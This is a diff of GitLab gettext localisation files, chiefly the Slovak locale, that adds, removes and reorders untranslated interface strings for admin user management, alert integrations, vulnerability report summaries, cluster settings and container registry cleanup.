@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/sk_SK/gitlab.po b/locale/sk_SK/gitlab.po
index 6df0c35cec4..4249a695aab 100644
--- a/locale/sk_SK/gitlab.po
+++ b/locale/sk_SK/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:50\n"
+"PO-Revision-Date: 2020-12-03 08:19\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -88,6 +88,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -203,15 +210,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -461,22 +468,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
-msgstr ""
-
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -565,6 +563,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -637,21 +638,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -667,9 +674,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -685,13 +689,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -724,9 +728,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -831,40 +832,13 @@ msgstr[3] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -926,6 +900,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -1033,6 +1010,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -1051,12 +1031,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1688,9 +1662,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -2040,9 +2011,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2265,6 +2242,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2313,16 +2299,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2349,6 +2338,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2385,6 +2377,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2424,6 +2425,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2433,6 +2443,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2442,6 +2455,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2454,7 +2476,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2668,6 +2696,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2677,9 +2723,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2707,6 +2762,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2719,7 +2780,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2728,27 +2795,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2758,9 +2849,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2770,6 +2858,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2782,6 +2882,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2797,16 +2900,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2911,6 +3035,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -3028,9 +3155,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3151,9 +3275,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3187,16 +3308,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3253,6 +3377,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3280,9 +3407,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3313,6 +3437,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3331,6 +3458,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3517,6 +3647,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3587,6 +3723,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3668,6 +3807,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3719,9 +3861,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3774,6 +3913,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -4052,6 +4194,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4172,6 +4320,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4460,12 +4611,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4490,6 +4647,13 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4541,6 +4705,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4799,9 +4966,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4829,6 +4993,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4925,6 +5092,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4952,6 +5122,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4985,9 +5161,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5129,6 +5302,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5147,9 +5323,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5216,6 +5389,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5402,12 +5578,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5441,6 +5611,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5609,7 +5782,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5651,10 +5824,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5702,7 +5875,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5711,9 +5884,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5804,6 +5974,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5912,6 +6085,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6170,9 +6346,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6275,6 +6448,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6608,7 +6784,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6951,6 +7127,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -7074,9 +7253,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7248,6 +7424,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7272,7 +7451,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7304,6 +7483,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7379,6 +7561,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
